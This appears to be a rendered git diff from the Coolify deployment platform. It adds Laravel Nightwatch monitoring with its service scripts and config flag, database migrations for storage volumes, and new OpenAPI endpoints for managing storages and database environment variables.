||||
"laravel/nightwatch": "^1.24",
|
||||
"laravel/pail": "^1.2.4",
|
||||
"laravel/prompts": "^0.3.11|^0.3.11|^0.3.11",
|
||||
"laravel/sanctum": "^4.3.0",
|
||||
|
|
|
|||
98
composer.lock
generated
98
composer.lock
generated
|
|
@ -4,7 +4,7 @@
|
|||
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
|
||||
"This file is @generated automatically"
|
||||
],
|
||||
"content-hash": "19bb661d294e5cf623e68830604e4f60",
|
||||
"content-hash": "40bddea995c1744e4aec517263109a2f",
|
||||
"packages": [
|
||||
{
|
||||
"name": "aws/aws-crt-php",
|
||||
|
|
@ -2065,6 +2065,100 @@
|
|||
},
|
||||
"time": "2026-02-21T14:20:09+00:00"
|
||||
},
|
||||
{
|
||||
"name": "laravel/nightwatch",
|
||||
"version": "v1.24.4",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/laravel/nightwatch.git",
|
||||
"reference": "127e9bb9928f0fcf69b52b244053b393c90347c8"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/laravel/nightwatch/zipball/127e9bb9928f0fcf69b52b244053b393c90347c8",
|
||||
"reference": "127e9bb9928f0fcf69b52b244053b393c90347c8",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-zlib": "*",
|
||||
"guzzlehttp/promises": "^2.0",
|
||||
"laravel/framework": "^10.0|^11.0|^12.0|^13.0",
|
||||
"monolog/monolog": "^3.6",
|
||||
"nesbot/carbon": "^2.0|^3.0",
|
||||
"php": "^8.2",
|
||||
"psr/http-message": "^1.0|^2.0",
|
||||
"psr/log": "^1.0|^2.0|^3.0",
|
||||
"ramsey/uuid": "^4.0",
|
||||
"symfony/console": "^6.0|^7.0|^8.0",
|
||||
"symfony/http-foundation": "^6.0|^7.0|^8.0",
|
||||
"symfony/polyfill-php84": "^1.29"
|
||||
},
|
||||
"require-dev": {
|
||||
"aws/aws-sdk-php": "^3.349",
|
||||
"ext-pcntl": "*",
|
||||
"ext-pdo": "*",
|
||||
"guzzlehttp/guzzle": "^7.0",
|
||||
"guzzlehttp/psr7": "^2.0",
|
||||
"laravel/horizon": "^5.4",
|
||||
"laravel/pint": "1.21.0",
|
||||
"laravel/vapor-core": "^2.38.2",
|
||||
"livewire/livewire": "^2.0|^3.0",
|
||||
"mockery/mockery": "^1.0",
|
||||
"mongodb/laravel-mongodb": "^4.0|^5.0",
|
||||
"orchestra/testbench": "^8.0|^9.0|^10.0",
|
||||
"orchestra/testbench-core": "^8.0|^9.0|^10.0",
|
||||
"orchestra/workbench": "^8.0|^9.0|^10.0",
|
||||
"phpstan/phpstan": "^1.0",
|
||||
"phpunit/phpunit": "^10.0|^11.0|^12.0",
|
||||
"singlestoredb/singlestoredb-laravel": "^1.0|^2.0",
|
||||
"spatie/laravel-ignition": "^2.0",
|
||||
"symfony/mailer": "^6.0|^7.0|^8.0",
|
||||
"symfony/mime": "^6.0|^7.0|^8.0",
|
||||
"symfony/var-dumper": "^6.0|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"aliases": {
|
||||
"Nightwatch": "Laravel\\Nightwatch\\Facades\\Nightwatch"
|
||||
},
|
||||
"providers": [
|
||||
"Laravel\\Nightwatch\\NightwatchServiceProvider"
|
||||
]
|
||||
}
|
||||
},
|
||||
"autoload": {
|
||||
"files": [
|
||||
"agent/helpers.php"
|
||||
],
|
||||
"psr-4": {
|
||||
"Laravel\\Nightwatch\\": "src/"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"MIT"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "Taylor Otwell",
|
||||
"email": "taylor@laravel.com"
|
||||
}
|
||||
],
|
||||
"description": "The official Laravel Nightwatch package.",
|
||||
"homepage": "https://nightwatch.laravel.com",
|
||||
"keywords": [
|
||||
"Insights",
|
||||
"laravel",
|
||||
"monitoring"
|
||||
],
|
||||
"support": {
|
||||
"docs": "https://nightwatch.laravel.com/docs",
|
||||
"issues": "https://github.com/laravel/nightwatch/issues",
|
||||
"source": "https://github.com/laravel/nightwatch"
|
||||
},
|
||||
"time": "2026-03-18T23:25:05+00:00"
|
||||
},
|
||||
{
|
||||
"name": "laravel/pail",
|
||||
"version": "v1.2.6",
|
||||
|
|
@ -17209,5 +17303,5 @@
|
|||
"php": "^8.4"
|
||||
},
|
||||
"platform-dev": {},
|
||||
"plugin-api-version": "2.9.0"
|
||||
"plugin-api-version": "2.6.0"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -55,6 +55,10 @@
|
|||
'is_scheduler_enabled' => env('SCHEDULER_ENABLED', true),
|
||||
],
|
||||
|
||||
'nightwatch' => [
|
||||
'is_nightwatch_enabled' => env('NIGHTWATCH_ENABLED', false),
|
||||
],
|
||||
|
||||
'docker' => [
|
||||
'minimum_required_version' => '24.0',
|
||||
],
|
||||
|
|
|
|||
|
|
@ -123,7 +123,7 @@
|
|||
'driver' => 'daily',
|
||||
'path' => storage_path('logs/scheduled.log'),
|
||||
'level' => 'debug',
|
||||
'days' => 1,
|
||||
'days' => 7,
|
||||
],
|
||||
|
||||
'scheduled-errors' => [
|
||||
|
|
|
|||
|
|
@ -0,0 +1,30 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('local_file_volumes', function (Blueprint $table) {
|
||||
$table->boolean('is_preview_suffix_enabled')->default(true)->after('is_based_on_git');
|
||||
});
|
||||
|
||||
Schema::table('local_persistent_volumes', function (Blueprint $table) {
|
||||
$table->boolean('is_preview_suffix_enabled')->default(true)->after('host_path');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('local_file_volumes', function (Blueprint $table) {
|
||||
$table->dropColumn('is_preview_suffix_enabled');
|
||||
});
|
||||
|
||||
Schema::table('local_persistent_volumes', function (Blueprint $table) {
|
||||
$table->dropColumn('is_preview_suffix_enabled');
|
||||
});
|
||||
}
|
||||
};
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('local_persistent_volumes', function (Blueprint $table) {
|
||||
$table->string('uuid')->nullable()->after('id');
|
||||
});
|
||||
|
||||
DB::table('local_persistent_volumes')
|
||||
->whereNull('uuid')
|
||||
->orderBy('id')
|
||||
->chunk(1000, function ($volumes) {
|
||||
foreach ($volumes as $volume) {
|
||||
DB::table('local_persistent_volumes')
|
||||
->where('id', $volume->id)
|
||||
->update(['uuid' => (string) new Cuid2]);
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('local_persistent_volumes', function (Blueprint $table) {
|
||||
$table->string('uuid')->nullable(false)->unique()->change();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('local_persistent_volumes', function (Blueprint $table) {
|
||||
$table->dropColumn('uuid');
|
||||
});
|
||||
}
|
||||
};
|
||||
|
|
@ -0,0 +1 @@
|
|||
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
#!/command/execlineb -P
|
||||
|
||||
# Use with-contenv to ensure environment variables are available
|
||||
with-contenv
|
||||
cd /var/www/html
|
||||
|
||||
foreground {
|
||||
php
|
||||
artisan
|
||||
start:nightwatch
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1 @@
|
|||
longrun
|
||||
|
|
@ -0,0 +1 @@
|
|||
|
||||
|
|
@ -0,0 +1 @@
|
|||
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
#!/command/execlineb -P
|
||||
|
||||
# Use with-contenv to ensure environment variables are available
|
||||
with-contenv
|
||||
cd /var/www/html
|
||||
foreground {
|
||||
php
|
||||
artisan
|
||||
start:nightwatch
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1 @@
|
|||
longrun
|
||||
|
|
@ -0,0 +1 @@
|
|||
|
||||
11
jean.json
11
jean.json
|
|
@ -1,6 +1,13 @@
|
|||
{
|
||||
"scripts": {
|
||||
"setup": "cp $JEAN_ROOT_PATH/.env . && mkdir -p .claude && cp $JEAN_ROOT_PATH/.claude/settings.local.json .claude/settings.local.json",
|
||||
"teardown": null,
|
||||
"run": "docker rm -f coolify coolify-minio-init coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ports": [
|
||||
{
|
||||
"port": 8000,
|
||||
"label": "Coolify UI"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
1367
openapi.json
1367
openapi.json
File diff suppressed because it is too large
Load diff
879
openapi.yaml
879
openapi.yaml
|
|
@ -2170,6 +2170,219 @@ paths:
|
|||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/applications/{uuid}/storages':
|
||||
get:
|
||||
tags:
|
||||
- Applications
|
||||
summary: 'List Storages'
|
||||
description: 'List all persistent storages and file storages by application UUID.'
|
||||
operationId: list-storages-by-application-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the application.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'All storages by application UUID.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
persistent_storages: { type: array, items: { type: object } }
|
||||
file_storages: { type: array, items: { type: object } }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
post:
|
||||
tags:
|
||||
- Applications
|
||||
summary: 'Create Storage'
|
||||
description: 'Create a persistent storage or file storage for an application.'
|
||||
operationId: create-storage-by-application-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the application.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- type
|
||||
- mount_path
|
||||
properties:
|
||||
type:
|
||||
type: string
|
||||
enum: [persistent, file]
|
||||
description: 'The type of storage.'
|
||||
name:
|
||||
type: string
|
||||
description: 'Volume name (persistent only, required for persistent).'
|
||||
mount_path:
|
||||
type: string
|
||||
description: 'The container mount path.'
|
||||
host_path:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The host path (persistent only, optional).'
|
||||
content:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'File content (file only, optional).'
|
||||
is_directory:
|
||||
type: boolean
|
||||
description: 'Whether this is a directory mount (file only, default false).'
|
||||
fs_path:
|
||||
type: string
|
||||
description: 'Host directory path (required when is_directory is true).'
|
||||
type: object
|
||||
additionalProperties: false
|
||||
responses:
|
||||
'201':
|
||||
description: 'Storage created.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
patch:
|
||||
tags:
|
||||
- Applications
|
||||
summary: 'Update Storage'
|
||||
description: 'Update a persistent storage or file storage by application UUID.'
|
||||
operationId: update-storage-by-application-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the application.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- type
|
||||
properties:
|
||||
uuid:
|
||||
type: string
|
||||
description: 'The UUID of the storage (preferred).'
|
||||
id:
|
||||
type: integer
|
||||
description: 'The ID of the storage (deprecated, use uuid instead).'
|
||||
type:
|
||||
type: string
|
||||
enum: [persistent, file]
|
||||
description: 'The type of storage: persistent or file.'
|
||||
is_preview_suffix_enabled:
|
||||
type: boolean
|
||||
description: 'Whether to add -pr-N suffix for preview deployments.'
|
||||
name:
|
||||
type: string
|
||||
description: 'The volume name (persistent only, not allowed for read-only storages).'
|
||||
mount_path:
|
||||
type: string
|
||||
description: 'The container mount path (not allowed for read-only storages).'
|
||||
host_path:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The host path (persistent only, not allowed for read-only storages).'
|
||||
content:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The file content (file only, not allowed for read-only storages).'
|
||||
type: object
|
||||
additionalProperties: false
|
||||
responses:
|
||||
'200':
|
||||
description: 'Storage updated.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/applications/{uuid}/storages/{storage_uuid}':
|
||||
delete:
|
||||
tags:
|
||||
- Applications
|
||||
summary: 'Delete Storage'
|
||||
description: 'Delete a persistent storage or file storage by application UUID.'
|
||||
operationId: delete-storage-by-application-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the application.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
-
|
||||
name: storage_uuid
|
||||
in: path
|
||||
description: 'UUID of the storage.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'Storage deleted.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
message: { type: string }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
/cloud-tokens:
|
||||
get:
|
||||
tags:
|
||||
|
|
@ -3871,6 +4084,455 @@ paths:
|
|||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/envs':
|
||||
get:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'List Envs'
|
||||
description: 'List all envs by database UUID.'
|
||||
operationId: list-envs-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'Environment variables.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/EnvironmentVariable'
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
post:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Create Env'
|
||||
description: 'Create env by database UUID.'
|
||||
operationId: create-env-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
description: 'Env created.'
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
key:
|
||||
type: string
|
||||
description: 'The key of the environment variable.'
|
||||
value:
|
||||
type: string
|
||||
description: 'The value of the environment variable.'
|
||||
is_literal:
|
||||
type: boolean
|
||||
description: 'The flag to indicate if the environment variable is a literal, nothing espaced.'
|
||||
is_multiline:
|
||||
type: boolean
|
||||
description: 'The flag to indicate if the environment variable is multiline.'
|
||||
is_shown_once:
|
||||
type: boolean
|
||||
description: "The flag to indicate if the environment variable's value is shown on the UI."
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
description: 'Environment variable created.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
uuid: { type: string, example: nc0k04gk8g0cgsk440g0koko }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
patch:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Update Env'
|
||||
description: 'Update env by database UUID.'
|
||||
operationId: update-env-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
description: 'Env updated.'
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- key
|
||||
- value
|
||||
properties:
|
||||
key:
|
||||
type: string
|
||||
description: 'The key of the environment variable.'
|
||||
value:
|
||||
type: string
|
||||
description: 'The value of the environment variable.'
|
||||
is_literal:
|
||||
type: boolean
|
||||
description: 'The flag to indicate if the environment variable is a literal, nothing espaced.'
|
||||
is_multiline:
|
||||
type: boolean
|
||||
description: 'The flag to indicate if the environment variable is multiline.'
|
||||
is_shown_once:
|
||||
type: boolean
|
||||
description: "The flag to indicate if the environment variable's value is shown on the UI."
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
description: 'Environment variable updated.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/EnvironmentVariable'
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/envs/bulk':
|
||||
patch:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Update Envs (Bulk)'
|
||||
description: 'Update multiple envs by database UUID.'
|
||||
operationId: update-envs-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
description: 'Bulk envs updated.'
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- data
|
||||
properties:
|
||||
data:
|
||||
type: array
|
||||
items: { properties: { key: { type: string, description: 'The key of the environment variable.' }, value: { type: string, description: 'The value of the environment variable.' }, is_literal: { type: boolean, description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' }, is_multiline: { type: boolean, description: 'The flag to indicate if the environment variable is multiline.' }, is_shown_once: { type: boolean, description: "The flag to indicate if the environment variable's value is shown on the UI." } }, type: object }
|
||||
type: object
|
||||
responses:
|
||||
'201':
|
||||
description: 'Environment variables updated.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/EnvironmentVariable'
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/envs/{env_uuid}':
|
||||
delete:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Delete Env'
|
||||
description: 'Delete env by UUID.'
|
||||
operationId: delete-env-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
-
|
||||
name: env_uuid
|
||||
in: path
|
||||
description: 'UUID of the environment variable.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'Environment variable deleted.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
message: { type: string, example: 'Environment variable deleted.' }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/storages':
|
||||
get:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'List Storages'
|
||||
description: 'List all persistent storages and file storages by database UUID.'
|
||||
operationId: list-storages-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'All storages by database UUID.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
persistent_storages: { type: array, items: { type: object } }
|
||||
file_storages: { type: array, items: { type: object } }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
post:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Create Storage'
|
||||
description: 'Create a persistent storage or file storage for a database.'
|
||||
operationId: create-storage-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- type
|
||||
- mount_path
|
||||
properties:
|
||||
type:
|
||||
type: string
|
||||
enum: [persistent, file]
|
||||
description: 'The type of storage.'
|
||||
name:
|
||||
type: string
|
||||
description: 'Volume name (persistent only, required for persistent).'
|
||||
mount_path:
|
||||
type: string
|
||||
description: 'The container mount path.'
|
||||
host_path:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The host path (persistent only, optional).'
|
||||
content:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'File content (file only, optional).'
|
||||
is_directory:
|
||||
type: boolean
|
||||
description: 'Whether this is a directory mount (file only, default false).'
|
||||
fs_path:
|
||||
type: string
|
||||
description: 'Host directory path (required when is_directory is true).'
|
||||
type: object
|
||||
additionalProperties: false
|
||||
responses:
|
||||
'201':
|
||||
description: 'Storage created.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
patch:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Update Storage'
|
||||
description: 'Update a persistent storage or file storage by database UUID.'
|
||||
operationId: update-storage-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- type
|
||||
properties:
|
||||
uuid:
|
||||
type: string
|
||||
description: 'The UUID of the storage (preferred).'
|
||||
id:
|
||||
type: integer
|
||||
description: 'The ID of the storage (deprecated, use uuid instead).'
|
||||
type:
|
||||
type: string
|
||||
enum: [persistent, file]
|
||||
description: 'The type of storage: persistent or file.'
|
||||
is_preview_suffix_enabled:
|
||||
type: boolean
|
||||
description: 'Whether to add -pr-N suffix for preview deployments.'
|
||||
name:
|
||||
type: string
|
||||
description: 'The volume name (persistent only, not allowed for read-only storages).'
|
||||
mount_path:
|
||||
type: string
|
||||
description: 'The container mount path (not allowed for read-only storages).'
|
||||
host_path:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The host path (persistent only, not allowed for read-only storages).'
|
||||
content:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The file content (file only, not allowed for read-only storages).'
|
||||
type: object
|
||||
additionalProperties: false
|
||||
responses:
|
||||
'200':
|
||||
description: 'Storage updated.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/databases/{uuid}/storages/{storage_uuid}':
|
||||
delete:
|
||||
tags:
|
||||
- Databases
|
||||
summary: 'Delete Storage'
|
||||
description: 'Delete a persistent storage or file storage by database UUID.'
|
||||
operationId: delete-storage-by-database-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the database.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
-
|
||||
name: storage_uuid
|
||||
in: path
|
||||
description: 'UUID of the storage.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'Storage deleted.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
message: { type: string }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
/deployments:
|
||||
get:
|
||||
tags:
|
||||
|
|
@ -6732,6 +7394,223 @@ paths:
|
|||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/services/{uuid}/storages':
|
||||
get:
|
||||
tags:
|
||||
- Services
|
||||
summary: 'List Storages'
|
||||
description: 'List all persistent storages and file storages by service UUID.'
|
||||
operationId: list-storages-by-service-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the service.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'All storages by service UUID.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
persistent_storages: { type: array, items: { type: object } }
|
||||
file_storages: { type: array, items: { type: object } }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
post:
|
||||
tags:
|
||||
- Services
|
||||
summary: 'Create Storage'
|
||||
description: 'Create a persistent storage or file storage for a service sub-resource.'
|
||||
operationId: create-storage-by-service-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the service.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- type
|
||||
- mount_path
|
||||
- resource_uuid
|
||||
properties:
|
||||
type:
|
||||
type: string
|
||||
enum: [persistent, file]
|
||||
description: 'The type of storage.'
|
||||
resource_uuid:
|
||||
type: string
|
||||
description: 'UUID of the service application or database sub-resource.'
|
||||
name:
|
||||
type: string
|
||||
description: 'Volume name (persistent only, required for persistent).'
|
||||
mount_path:
|
||||
type: string
|
||||
description: 'The container mount path.'
|
||||
host_path:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The host path (persistent only, optional).'
|
||||
content:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'File content (file only, optional).'
|
||||
is_directory:
|
||||
type: boolean
|
||||
description: 'Whether this is a directory mount (file only, default false).'
|
||||
fs_path:
|
||||
type: string
|
||||
description: 'Host directory path (required when is_directory is true).'
|
||||
type: object
|
||||
additionalProperties: false
|
||||
responses:
|
||||
'201':
|
||||
description: 'Storage created.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
patch:
|
||||
tags:
|
||||
- Services
|
||||
summary: 'Update Storage'
|
||||
